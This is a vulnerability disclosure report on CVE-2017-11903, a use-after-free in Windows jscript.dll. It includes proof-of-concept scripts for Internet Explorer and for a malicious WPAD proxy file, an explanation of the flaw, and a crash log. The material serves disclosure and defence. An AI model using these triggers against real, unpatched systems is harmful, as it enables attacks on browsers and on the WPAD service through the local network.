Windows: use-after-free in jscript!NameTbl::GetValDef CVE-2017-11903 There is a use-after-free vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors: - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service. - The issue can also be exploited by opening a malicious web page in Internet Explorer. The issue has been verified on 64-bit Win7 with the most recent patches applied. PoC for Internet Explorer (might require page heap to trigger the crash): ============================================ <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var vars = new Array(100); for(var i=0;i<100;i++) vars[i] = {}; function f() { vars[1] = 1; CollectGarbage(); return {}; } vars[1].toString = f; Array.prototype.join.call(vars); </script> ============================================ PoC for WPAD (might require page heap to trigger the crash): ============================================ function FindProxyForURL(url, host) { var vars = new Array(100); for(var i=0;i<100;i++) vars[i] = {}; function f() { vars[1] = 1; CollectGarbage(); return {}; } vars[1].toString = f; Array.prototype.join.call(vars); return "DIRECT"; } =========================================== Technical details: The issue is in NameTbl::GetValDef which is called when an object is converted to a string. The function attempts to call toString() or valueOf() of the NameTbl object 2 times or until the return value isn't an JavaScript object. The issue is that the NameTbl object on which these methods are called isn't explicitly tracked by the garbage collector, which means the object can be deleted inside the toString/valueOf callback (as long as it's not tracked by the garbage collector somewhere else). Basically, toString/valueOf can delete its 'this' object. Note that the crash location in the Debug log immediately precedes a virtual method call. Debug log (from IE, but it looks similar in the WPAD service): ============================================ (a68.e4c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!NameTbl::GetValDef+0x58: 000007fe`f5dea398 498b06 mov rax,qword ptr [<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>] ds:00000000`044d9f90=????????????????
